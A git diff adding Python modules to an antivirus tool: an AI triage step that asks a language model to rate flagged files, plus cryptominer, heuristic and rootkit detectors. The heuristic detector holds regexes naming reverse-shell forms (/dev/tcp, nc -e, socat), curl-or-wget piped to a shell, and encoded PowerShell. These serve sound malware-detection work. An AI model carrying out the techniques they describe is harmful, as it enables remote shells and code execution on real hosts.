self._get_file_context(file_path) + + # Sanitize content preview to avoid format string issues + preview = ctx.get("content_preview", "") + if len(preview) > 500: + preview = preview[:500] + "..." + # Replace curly braces to avoid format() issues + preview = preview.replace("{", "{{").replace("}", "}}") + + user_msg = ANALYSIS_PROMPT.format( + file_path=file_path, + threat_name=threat_name, + threat_type=threat_type, + severity=severity, + detector=detector, + original_confidence=confidence, + file_size=ctx.get("file_size", 0), + permissions=ctx.get("permissions", ""), + owner=ctx.get("owner", ""), + mtime=ctx.get("mtime", ""), + content_preview=preview, + ) + + text = "" + try: + response = client.messages.create( + model=self._model, + max_tokens=150, + system=SYSTEM_PROMPT.format(environment=self._environment), + messages=[{"role": "user", "content": user_msg}], + ) + text = response.content[0].text.strip() + + # Parse JSON from response (handle markdown code blocks) + if "```" in text: + parts = text.split("```") + for part in parts[1:]: + cleaned = part.strip() + if cleaned.startswith("json"): + cleaned = cleaned[4:].strip() + if cleaned.startswith("{"): + text = cleaned + break + + # Find the JSON object in the response + start = text.find("{") + end = text.rfind("}") + 1 + if start >= 0 and end > start: + text = text[start:end] + + data = json.loads(text) + return AIVerdict( + verdict=data.get("verdict", "suspicious"), + confidence=data.get("confidence", 50), + reason=data.get("reason", ""), + recommended_action=data.get("recommended_action", "quarantine"), + raw_response=text, + ) + except json.JSONDecodeError as exc: + logger.warning("AI returned non-JSON: %s — raw: %s", exc, text[:200]) + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason=f"AI parse error: {text[:100]}", + recommended_action="quarantine", + raw_response=text, + ) + except Exception as exc: + logger.error("AI analysis failed: %s", exc) + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason=f"AI error: {exc}", + recommended_action="quarantine", + ) + + def analyze_batch( + self, + detections: List[Dict[str, Any]], + ) -> List[Dict[str, Any]]: + """Analyze a batch of detections. Returns enriched detections with AI verdicts. + + Each detection dict should have: file_path, threat_name, threat_type, severity, detector + """ + results = [] + for d in detections: + verdict = self.analyze( + file_path=d.get("file_path", ""), + threat_name=d.get("threat_name", ""), + threat_type=d.get("threat_type", ""), + severity=d.get("severity", "MEDIUM"), + detector=d.get("detector", ""), + confidence=d.get("confidence", 50), + ) + enriched = dict(d) + enriched["ai_verdict"] = verdict.verdict + enriched["ai_confidence"] = verdict.confidence + enriched["ai_reason"] = verdict.reason + enriched["ai_action"] = verdict.recommended_action + results.append(enriched) + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/base.py b/ayn-antivirus/ayn_antivirus/detectors/base.py new file mode 100644 index 0000000..9a0a426 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/base.py @@ -0,0 +1,129 @@ +"""Abstract base class and shared data structures for AYN detectors.""" + +from __future__ import annotations + +import logging +from abc import ABC, abstractmethod +from dataclasses import dataclass, field +from pathlib import Path +from typing import List, Optional + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Detection result +# --------------------------------------------------------------------------- + +@dataclass +class DetectionResult: + """A single detection produced by a detector. + + Attributes + ---------- + threat_name: + Short identifier for the threat (e.g. ``"Trojan.Miner.XMRig"``). + threat_type: + Category string — ``VIRUS``, ``MALWARE``, ``SPYWARE``, ``MINER``, + ``ROOTKIT``, ``HEURISTIC``, etc. + severity: + One of ``CRITICAL``, ``HIGH``, ``MEDIUM``, ``LOW``. + confidence: + How confident the detector is in the finding (0–100). + details: + Human-readable explanation. + detector_name: + Which detector produced this result. + """ + + threat_name: str + threat_type: str + severity: str + confidence: int + details: str + detector_name: str + + +# --------------------------------------------------------------------------- +# Abstract base +# --------------------------------------------------------------------------- + +class BaseDetector(ABC): + """Interface that every AYN detector must implement. + + Detectors receive a file path (and optionally pre-read content / hash) + and return zero or more :class:`DetectionResult` instances. + """ + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @property + @abstractmethod + def name(self) -> str: + """Machine-friendly detector identifier.""" + ... + + @property + @abstractmethod + def description(self) -> str: + """One-line human-readable summary.""" + ... + + # ------------------------------------------------------------------ + # Detection + # ------------------------------------------------------------------ + + @abstractmethod + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Run detection logic against a single file. + + Parameters + ---------- + file_path: + Path to the file on disk. + file_content: + Optional pre-read bytes of the file (avoids double-read). + file_hash: + Optional pre-computed SHA-256 hex digest. + + Returns + ------- + list[DetectionResult] + Empty list when the file is clean. + """ + ... + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + def _read_content( + self, + file_path: Path, + file_content: Optional[bytes], + max_bytes: int = 10 * 1024 * 1024, + ) -> bytes: + """Return *file_content* if provided, otherwise read from disk. + + Reads at most *max_bytes* to avoid unbounded memory usage. + """ + if file_content is not None: + return file_content + with open(file_path, "rb") as fh: + return fh.read(max_bytes) + + def _log(self, msg: str, *args) -> None: + logger.info("[%s] " + msg, self.name, *args) + + def _warn(self, msg: str, *args) -> None: + logger.warning("[%s] " + msg, self.name, *args) + + def _error(self, msg: str, *args) -> None: + logger.error("[%s] " + msg, self.name, *args) diff --git a/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py b/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py new file mode 100644 index 0000000..be02971 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py @@ -0,0 +1,317 @@ +"""Crypto-miner detector for AYN Antivirus. + +Combines file-content analysis, process inspection, and network connection +checks to detect cryptocurrency mining activity on the host. +""" + +from __future__ import annotations + +import logging +import re +from pathlib import Path +from typing import List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + CRYPTO_POOL_DOMAINS, + HIGH_CPU_THRESHOLD, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# File-content patterns +# --------------------------------------------------------------------------- +_RE_STRATUM = re.compile(rb"stratum\+(?:tcp|ssl|tls)://[^\s\"']+", re.IGNORECASE) +_RE_POOL_DOMAIN = re.compile( + rb"(?:" + b"|".join(re.escape(d.encode()) for d in CRYPTO_POOL_DOMAINS) + rb")", + re.IGNORECASE, +) +_RE_ALGO_REF = re.compile( + rb"\b(?:cryptonight|randomx|ethash|kawpow|equihash|scrypt|sha256d|x11|x13|lyra2rev2|blake2s)\b", + re.IGNORECASE, +) +_RE_MINING_CONFIG = re.compile( + rb"""["'](?:algo|pool|wallet|worker|pass|coin|url|user)["']\s*:\s*["']""", + re.IGNORECASE, +) + +# Wallet address patterns (broad but useful). +_RE_BTC_ADDR = re.compile(rb"\b(?:1|3|bc1)[A-HJ-NP-Za-km-z1-9]{25,62}\b") +_RE_ETH_ADDR = re.compile(rb"\b0x[0-9a-fA-F]{40}\b") +_RE_XMR_ADDR = re.compile(rb"\b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b") + + +class CryptominerDetector(BaseDetector): + """Detect cryptocurrency mining activity via files, processes, and network.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "cryptominer_detector" + + @property + def description(self) -> str: + return "Detects crypto-mining binaries, configs, processes, and network traffic" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Analyse a file for mining indicators. + + Also checks running processes and network connections for live mining + activity (these are host-wide and not specific to *file_path*, but + are included for a comprehensive picture). + """ + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- File-content checks --- + results.extend(self._check_stratum_urls(file_path, content)) + results.extend(self._check_pool_domains(file_path, content)) + results.extend(self._check_algo_references(file_path, content)) + results.extend(self._check_mining_config(file_path, content)) + results.extend(self._check_wallet_addresses(file_path, content)) + + return results + + # ------------------------------------------------------------------ + # File-content checks + # ------------------------------------------------------------------ + + def _check_stratum_urls( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_STRATUM.findall(content) + if matches: + urls = [m.decode(errors="replace") for m in matches[:5]] + results.append(DetectionResult( + threat_name="Miner.Stratum.URL", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=f"Stratum mining URL(s) found: {', '.join(urls)}", + detector_name=self.name, + )) + return results + + def _check_pool_domains( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_POOL_DOMAIN.findall(content) + if matches: + domains = sorted(set(m.decode(errors="replace") for m in matches)) + results.append(DetectionResult( + threat_name="Miner.PoolDomain", + threat_type="MINER", + severity="HIGH", + confidence=90, + details=f"Mining pool domain(s) referenced: {', '.join(domains[:5])}", + detector_name=self.name, + )) + return results + + def _check_algo_references( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_ALGO_REF.findall(content) + if matches: + algos = sorted(set(m.decode(errors="replace").lower() for m in matches)) + results.append(DetectionResult( + threat_name="Miner.AlgorithmReference", + threat_type="MINER", + severity="MEDIUM", + confidence=60, + details=f"Mining algorithm reference(s): {', '.join(algos)}", + detector_name=self.name, + )) + return results + + def _check_mining_config( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_MINING_CONFIG.findall(content) + if len(matches) >= 2: + results.append(DetectionResult( + threat_name="Miner.ConfigFile", + threat_type="MINER", + severity="HIGH", + confidence=85, + details=( + f"File resembles a mining configuration " + f"({len(matches)} config key(s) detected)" + ), + detector_name=self.name, + )) + return results + + def _check_wallet_addresses( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + wallets: List[str] = [] + + for label, regex in [ + ("BTC", _RE_BTC_ADDR), + ("ETH", _RE_ETH_ADDR), + ("XMR", _RE_XMR_ADDR), + ]: + matches = regex.findall(content) + for m in matches[:3]: + wallets.append(f"{label}:{m.decode(errors='replace')[:20]}…") + + if wallets: + results.append(DetectionResult( + threat_name="Miner.WalletAddress", + threat_type="MINER", + severity="HIGH", + confidence=70, + details=f"Cryptocurrency wallet address(es): {', '.join(wallets[:5])}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Process-based detection (host-wide, not file-specific) + # ------------------------------------------------------------------ + + @staticmethod + def find_miner_processes() -> List[DetectionResult]: + """Scan running processes for known miner names. + + This is a host-wide check and should be called independently from + the per-file ``detect()`` method. + """ + results: List[DetectionResult] = [] + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent"]): + try: + info = proc.info + pname = (info.get("name") or "").lower() + cmdline = " ".join(info.get("cmdline") or []).lower() + + for miner in CRYPTO_MINER_PROCESS_NAMES: + if miner in pname or miner in cmdline: + results.append(DetectionResult( + threat_name=f"Miner.Process.{miner}", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=( + f"Known miner process running: {info.get('name')} " + f"(PID {info['pid']}, CPU {info.get('cpu_percent', 0):.1f}%)" + ), + detector_name="cryptominer_detector", + )) + break + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + return results + + # ------------------------------------------------------------------ + # CPU analysis (host-wide) + # ------------------------------------------------------------------ + + @staticmethod + def find_high_cpu_processes( + threshold: float = HIGH_CPU_THRESHOLD, + ) -> List[DetectionResult]: + """Flag processes consuming CPU above *threshold* percent.""" + results: List[DetectionResult] = [] + for proc in psutil.process_iter(["pid", "name", "cpu_percent"]): + try: + info = proc.info + cpu = info.get("cpu_percent") or 0.0 + if cpu > threshold: + results.append(DetectionResult( + threat_name="Miner.HighCPU", + threat_type="MINER", + severity="HIGH", + confidence=55, + details=( + f"Process {info.get('name')} (PID {info['pid']}) " + f"using {cpu:.1f}% CPU" + ), + detector_name="cryptominer_detector", + )) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + return results + + # ------------------------------------------------------------------ + # Network detection (host-wide) + # ------------------------------------------------------------------ + + @staticmethod + def find_mining_connections() -> List[DetectionResult]: + """Check active network connections for mining pool traffic.""" + results: List[DetectionResult] = [] + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return results + + for conn in connections: + raddr = conn.raddr + if not raddr: + continue + + remote_ip = raddr.ip + remote_port = raddr.port + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + if remote_port in SUSPICIOUS_PORTS: + results.append(DetectionResult( + threat_name="Miner.Network.SuspiciousPort", + threat_type="MINER", + severity="HIGH", + confidence=75, + details=( + f"Connection to port {remote_port} " + f"({remote_ip}, process={proc_name}, PID={conn.pid})" + ), + detector_name="cryptominer_detector", + )) + + for domain in CRYPTO_POOL_DOMAINS: + if domain in remote_ip: + results.append(DetectionResult( + threat_name="Miner.Network.PoolConnection", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=( + f"Active connection to mining pool {domain} " + f"({remote_ip}:{remote_port}, process={proc_name})" + ), + detector_name="cryptominer_detector", + )) + break + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py b/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py new file mode 100644 index 0000000..f8b44b2 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py @@ -0,0 +1,436 @@ +"""Heuristic detector for AYN Antivirus. + +Uses statistical and pattern-based analysis to flag files that *look* +malicious even when no signature or YARA rule matches. Checks include +Shannon entropy (packed/encrypted binaries), suspicious string patterns, +obfuscation indicators, ELF anomalies, and permission/location red flags. +""" + +from __future__ import annotations + +import logging +import math +import re +import stat +from collections import Counter +from datetime import datetime, timedelta +from pathlib import Path +from typing import List, Optional + +from ayn_antivirus.constants import SUSPICIOUS_EXTENSIONS +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Thresholds +# --------------------------------------------------------------------------- +_HIGH_ENTROPY_THRESHOLD = 7.5 # bits per byte — likely packed / encrypted +_CHR_CHAIN_MIN = 6 # minimum chr()/\xNN sequence length +_B64_MIN_LENGTH = 40 # minimum base64 blob considered suspicious + +# --------------------------------------------------------------------------- +# Compiled regexes (built once at import time) +# --------------------------------------------------------------------------- +_RE_BASE64_BLOB = re.compile( + rb"(?:(?:[A-Za-z0-9+/]{4}){10,})(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?" +) +_RE_EVAL_EXEC = re.compile(rb"\b(?:eval|exec|compile)\s*\(", re.IGNORECASE) +_RE_SYSTEM_CALL = re.compile( + rb"\b(?:os\.system|subprocess\.(?:call|run|Popen)|commands\.getoutput)\s*\(", + re.IGNORECASE, +) +_RE_REVERSE_SHELL = re.compile( + rb"(?:/dev/tcp/|bash\s+-i\s+>&|nc\s+-[elp]|ncat\s+-|socat\s+|python[23]?\s+-c\s+['\"]import\s+socket)", + re.IGNORECASE, +) +_RE_WGET_CURL_PIPE = re.compile( + rb"(?:wget|curl)\s+[^\n]*\|\s*(?:sh|bash|python|perl)", re.IGNORECASE +) +_RE_ENCODED_PS = re.compile( + rb"-(?:enc(?:odedcommand)?|e|ec)\s+[A-Za-z0-9+/=]{20,}", re.IGNORECASE +) +_RE_CHR_CHAIN = re.compile( + rb"(?:chr\s*\(\s*\d+\s*\)\s*[\.\+]\s*){" + str(_CHR_CHAIN_MIN).encode() + rb",}", + re.IGNORECASE, +) +_RE_HEX_STRING = re.compile( + rb"(?:\\x[0-9a-fA-F]{2}){8,}" +) +_RE_STRING_CONCAT = re.compile( + rb"""(?:["'][^"']{1,4}["']\s*[\+\.]\s*){6,}""", +) + +# UPX magic at the beginning of packed sections. +_UPX_MAGIC = b"UPX!" + +# System directories where world-writable or SUID files are suspicious. +_SYSTEM_DIRS = {"/usr/bin", "/usr/sbin", "/bin", "/sbin", "/usr/local/bin", "/usr/local/sbin"} + +# Locations where hidden files are suspicious. +_SUSPICIOUS_HIDDEN_DIRS = {"/tmp", "/var/tmp", "/dev/shm", "/var/www", "/srv"} + + +class HeuristicDetector(BaseDetector): + """Flag files that exhibit suspicious characteristics without a known signature.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "heuristic_detector" + + @property + def description(self) -> str: + return "Statistical and pattern-based heuristic analysis" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- Entropy analysis --- + results.extend(self._check_entropy(file_path, content)) + + # --- Suspicious string patterns --- + results.extend(self._check_suspicious_strings(file_path, content)) + + # --- Obfuscation indicators --- + results.extend(self._check_obfuscation(file_path, content)) + + # --- ELF anomalies --- + results.extend(self._check_elf_anomalies(file_path, content)) + + # --- Permission / location anomalies --- + results.extend(self._check_permission_anomalies(file_path)) + + # --- Hidden files in suspicious locations --- + results.extend(self._check_hidden_files(file_path)) + + # --- Recently modified system files --- + results.extend(self._check_recent_system_modification(file_path)) + + return results + + # ------------------------------------------------------------------ + # Entropy + # ------------------------------------------------------------------ + + @staticmethod + def calculate_entropy(data: bytes) -> float: + """Calculate Shannon entropy (bits per byte) of *data*. + + Returns a value between 0.0 (uniform) and 8.0 (maximum randomness). + """ + if not data: + return 0.0 + + length = len(data) + freq = Counter(data) + entropy = 0.0 + for count in freq.values(): + p = count / length + if p > 0: + entropy -= p * math.log2(p) + return entropy + + def _check_entropy( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if len(content) < 256: + return results # too short for meaningful entropy + + entropy = self.calculate_entropy(content) + if entropy > _HIGH_ENTROPY_THRESHOLD: + results.append(DetectionResult( + threat_name="Heuristic.Packed.HighEntropy", + threat_type="MALWARE", + severity="MEDIUM", + confidence=65, + details=( + f"File entropy {entropy:.2f} bits/byte exceeds threshold " + f"({_HIGH_ENTROPY_THRESHOLD}) — likely packed or encrypted" + ), + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Suspicious strings + # ------------------------------------------------------------------ + + def _check_suspicious_strings( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # Base64-encoded payloads. + b64_blobs = _RE_BASE64_BLOB.findall(content) + long_blobs = [b for b in b64_blobs if len(b) >= _B64_MIN_LENGTH] + if long_blobs: + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.Base64Payload", + threat_type="MALWARE", + severity="MEDIUM", + confidence=55, + details=f"Found {len(long_blobs)} large base64-encoded blob(s)", + detector_name=self.name, + )) + + # eval / exec / compile calls. + if _RE_EVAL_EXEC.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Suspicious.DynamicExecution", + threat_type="MALWARE", + severity="MEDIUM", + confidence=50, + details="File uses eval()/exec()/compile() — possible code injection", + detector_name=self.name, + )) + + # os.system / subprocess calls. + if _RE_SYSTEM_CALL.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Suspicious.SystemCall", + threat_type="MALWARE", + severity="MEDIUM", + confidence=45, + details="File invokes system commands via os.system/subprocess", + detector_name=self.name, + )) + + # Reverse shell patterns. + match = _RE_REVERSE_SHELL.search(content) + if match: + results.append(DetectionResult( + threat_name="Heuristic.ReverseShell", + threat_type="MALWARE", + severity="CRITICAL", + confidence=85, + details=f"Reverse shell pattern detected: {match.group()[:80]!r}", + detector_name=self.name, + )) + + # wget/curl piped to sh/bash. + if _RE_WGET_CURL_PIPE.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Dropper.PipeToShell", + threat_type="MALWARE", + severity="HIGH", + confidence=80, + details="File downloads and pipes directly to a shell interpreter", + detector_name=self.name, + )) + + # Encoded PowerShell command. + if _RE_ENCODED_PS.search(content): + results.append(DetectionResult( + threat_name="Heuristic.PowerShell.EncodedCommand", + threat_type="MALWARE", + severity="HIGH", + confidence=75, + details="Encoded PowerShell command detected", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Obfuscation + # ------------------------------------------------------------------ + + def _check_obfuscation( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # chr() chains. + if _RE_CHR_CHAIN.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.ChrChain", + threat_type="MALWARE", + severity="MEDIUM", + confidence=60, + details="Obfuscation via long chr() concatenation chain", + detector_name=self.name, + )) + + # Hex-encoded byte strings. + hex_matches = _RE_HEX_STRING.findall(content) + if len(hex_matches) > 3: + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.HexStrings", + threat_type="MALWARE", + severity="MEDIUM", + confidence=55, + details=f"Multiple hex-encoded strings detected ({len(hex_matches)} occurrences)", + detector_name=self.name, + )) + + # Excessive string concatenation. + if _RE_STRING_CONCAT.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.StringConcat", + threat_type="MALWARE", + severity="LOW", + confidence=40, + details="Excessive short-string concatenation — possible obfuscation", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # ELF anomalies + # ------------------------------------------------------------------ + + def _check_elf_anomalies( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if not content[:4] == b"\x7fELF": + return results + + # UPX packed. + if _UPX_MAGIC in content[:4096]: + results.append(DetectionResult( + threat_name="Heuristic.Packed.UPX", + threat_type="MALWARE", + severity="MEDIUM", + confidence=60, + details="ELF binary is UPX-packed", + detector_name=self.name, + )) + + # Stripped binary in unusual location. + path_str = str(file_path) + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if not is_in_system: + # Non-system ELF — more suspicious if stripped (no .symtab). + if b".symtab" not in content and b".debug" not in content: + results.append(DetectionResult( + threat_name="Heuristic.ELF.StrippedNonSystem", + threat_type="MALWARE", + severity="LOW", + confidence=35, + details="Stripped ELF binary found outside standard system directories", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Permission anomalies + # ------------------------------------------------------------------ + + def _check_permission_anomalies( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + try: + st = file_path.stat() + except OSError: + return results + + mode = st.st_mode + path_str = str(file_path) + + # World-writable file in a system directory. + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if is_in_system and (mode & stat.S_IWOTH): + results.append(DetectionResult( + threat_name="Heuristic.Permissions.WorldWritableSystem", + threat_type="MALWARE", + severity="HIGH", + confidence=70, + details=f"World-writable file in system directory: {file_path}", + detector_name=self.name, + )) + + # SUID/SGID on unusual files. + is_suid = bool(mode & stat.S_ISUID) + is_sgid = bool(mode & stat.S_ISGID) + if (is_suid or is_sgid) and not is_in_system: + flag = "SUID" if is_suid else "SGID" + results.append(DetectionResult( + threat_name=f"Heuristic.Permissions.{flag}NonSystem", + threat_type="MALWARE", + severity="HIGH", + confidence=75, + details=f"{flag} bit set on file outside system directories: {file_path}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden files in suspicious locations + # ------------------------------------------------------------------ + + def _check_hidden_files( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if not file_path.name.startswith("."): + return results + + path_str = str(file_path) + for sus_dir in _SUSPICIOUS_HIDDEN_DIRS: + if path_str.startswith(sus_dir): + results.append(DetectionResult( + threat_name="Heuristic.HiddenFile.SuspiciousLocation", + threat_type="MALWARE", + severity="MEDIUM", + confidence=50, + details=f"Hidden file in suspicious directory: {file_path}", + detector_name=self.name, + )) + break + + return results + + # ------------------------------------------------------------------ + # Recently modified system files + # ------------------------------------------------------------------ + + def _check_recent_system_modification( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + path_str = str(file_path) + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if not is_in_system: + return results + + try: + mtime = datetime.utcfromtimestamp(file_path.stat().st_mtime) + except OSError: + return results + + if datetime.utcnow() - mtime < timedelta(hours=24): + results.append(DetectionResult( + threat_name="Heuristic.SystemFile.RecentlyModified", + threat_type="MALWARE", + severity="MEDIUM", + confidence=45, + details=( + f"System file modified within the last 24 hours: " + f"{file_path} (mtime: {mtime.isoformat()})" + ), + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py b/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py new file mode 100644 index 0000000..03ade3f --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py @@ -0,0 +1,387 @@ +"""Rootkit detector for AYN Antivirus. + +Performs system-wide checks for indicators of rootkit compromise: known +rootkit files, modified system binaries, hidden processes, hidden kernel +modules, LD_PRELOAD hijacking, hidden network ports, and tampered logs. + +Many checks require **root** privileges. On non-Linux systems, kernel- +module and /proc-based checks are gracefully skipped. +""" + +from __future__ import annotations + +import logging +import os +import subprocess +from pathlib import Path +from typing import List, Optional, Set + +import psutil + +from ayn_antivirus.constants import ( + KNOWN_ROOTKIT_FILES, + MALICIOUS_ENV_VARS, +) +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + + +class RootkitDetector(BaseDetector): + """System-wide rootkit detection. + + Unlike other detectors, the *file_path* argument is optional. When + called without a path (or with ``file_path=None``) the detector runs + every host-level check. When given a file it limits itself to checks + relevant to that file. + """ + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "rootkit_detector" + + @property + def description(self) -> str: + return "Detects rootkits via file, process, module, and environment analysis" + + def detect( + self, + file_path: str | Path | None = None, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Run rootkit checks. + + If *file_path* is ``None``, all system-wide checks are executed. + Otherwise only file-specific checks run. + """ + results: List[DetectionResult] = [] + + if file_path is not None: + fp = Path(file_path) + # File-specific: is this a known rootkit artefact? + results.extend(self._check_known_rootkit_file(fp)) + return results + + # --- Full system-wide scan --- + results.extend(self._check_known_rootkit_files()) + results.extend(self._check_ld_preload()) + results.extend(self._check_ld_so_preload()) + results.extend(self._check_hidden_processes()) + results.extend(self._check_hidden_kernel_modules()) + results.extend(self._check_hidden_network_ports()) + results.extend(self._check_malicious_env_vars()) + results.extend(self._check_tampered_logs()) + + return results + + # ------------------------------------------------------------------ + # Known rootkit files + # ------------------------------------------------------------------ + + def _check_known_rootkit_files(self) -> List[DetectionResult]: + """Check every path in :pydata:`KNOWN_ROOTKIT_FILES`.""" + results: List[DetectionResult] = [] + for path_str in KNOWN_ROOTKIT_FILES: + p = Path(path_str) + if p.exists(): + results.append(DetectionResult( + threat_name="Rootkit.KnownFile", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=90, + details=f"Known rootkit artefact present: {path_str}", + detector_name=self.name, + )) + return results + + def _check_known_rootkit_file(self, file_path: Path) -> List[DetectionResult]: + """Check whether *file_path* is a known rootkit file.""" + results: List[DetectionResult] = [] + path_str = str(file_path) + if path_str in KNOWN_ROOTKIT_FILES: + results.append(DetectionResult( + threat_name="Rootkit.KnownFile", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=90, + details=f"Known rootkit artefact: {path_str}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # LD_PRELOAD / ld.so.preload + # ------------------------------------------------------------------ + + def _check_ld_preload(self) -> List[DetectionResult]: + """Flag the ``LD_PRELOAD`` environment variable if set globally.""" + results: List[DetectionResult] = [] + val = os.environ.get("LD_PRELOAD", "") + if val: + results.append(DetectionResult( + threat_name="Rootkit.LDPreload.EnvVar", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"LD_PRELOAD is set: {val}", + detector_name=self.name, + )) + return results + + def _check_ld_so_preload(self) -> List[DetectionResult]: + """Check ``/etc/ld.so.preload`` for suspicious entries.""" + results: List[DetectionResult] = [] + ld_preload_file = Path("/etc/ld.so.preload") + if not ld_preload_file.exists(): + return results + + try: + content = ld_preload_file.read_text().strip() + except PermissionError: + self._warn("Cannot read /etc/ld.so.preload") + return results + + if content: + lines = [l.strip() for l in content.splitlines() if l.strip() and not l.startswith("#")] + if lines: + results.append(DetectionResult( + threat_name="Rootkit.LDPreload.File", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"/etc/ld.so.preload contains entries: {', '.join(lines[:5])}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Hidden processes + # ------------------------------------------------------------------ + + def _check_hidden_processes(self) -> List[DetectionResult]: + """Compare /proc PIDs with psutil to find hidden processes.""" + results: List[DetectionResult] = [] + proc_dir = Path("/proc") + if not proc_dir.is_dir(): + return results # non-Linux + + proc_pids: Set[int] = set() + try: + for entry in proc_dir.iterdir(): + if entry.name.isdigit(): + proc_pids.add(int(entry.name)) + except PermissionError: + return results + + psutil_pids = set(psutil.pids()) + hidden = proc_pids - psutil_pids + + for pid in hidden: + name = "" + try: + comm = proc_dir / str(pid) / "comm" + if comm.exists(): + name = comm.read_text().strip() + except OSError: + pass + + results.append(DetectionResult( + threat_name="Rootkit.HiddenProcess", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"PID {pid} ({name or 'unknown'}) visible in /proc but hidden from psutil", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden kernel modules + # ------------------------------------------------------------------ + 